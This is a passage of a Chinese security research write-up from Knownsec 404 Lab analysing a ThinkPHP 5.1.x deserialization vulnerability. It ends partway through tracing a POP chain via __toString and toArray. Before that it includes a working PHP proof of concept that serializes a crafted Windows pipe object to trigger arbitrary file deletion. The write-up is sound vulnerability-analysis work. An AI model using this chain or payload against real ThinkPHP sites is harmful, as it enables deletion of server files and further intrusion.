作者:Ethan@知道创宇404实验室
时间:2019年9月21日
1. 前 言
今年7月份,ThinkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThinkPHP的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化问题!
2. 环境搭建
Thinkphp 5.1.35
php 7.0.12
3. 漏洞挖掘思路
在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
4. 漏洞分析
首先漏洞的起点为
/thinkphp/library/think/process/pipes/Windows.php
的
__destruct()
__destruct()
里面调用了两个函数,我们跟进
removeFiles()
函数。
class Windows extends Pipes
{
private $files = [];
....
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
....
}
这里使用了
$this->files
,而且这里的
$files
是可控的。所以存在一个任意文件删除的漏洞。
POC可以这样构造:
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}
echo base64_encode(serialize(new Windows()));
这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。
在
removeFiles()
中使用了
file_exists
对
$filename
进行了处理。我们进入
file_exists
函数可以知道,
$filename
会被作为字符串处理。

而
__toString
当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发
__toString
方法。我们全局搜索
__toString
方法。

我们跟进
\thinkphp\library\think\model\concern\Conversion.php
的Conversion类的第224行,这里调用了一个
toJson()
方法。
.....
public function __toString()
{
return $this->toJson();
}
.....
跟进
toJson()
方法
....
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
....
继续跟进
toArray()
方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
.....
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性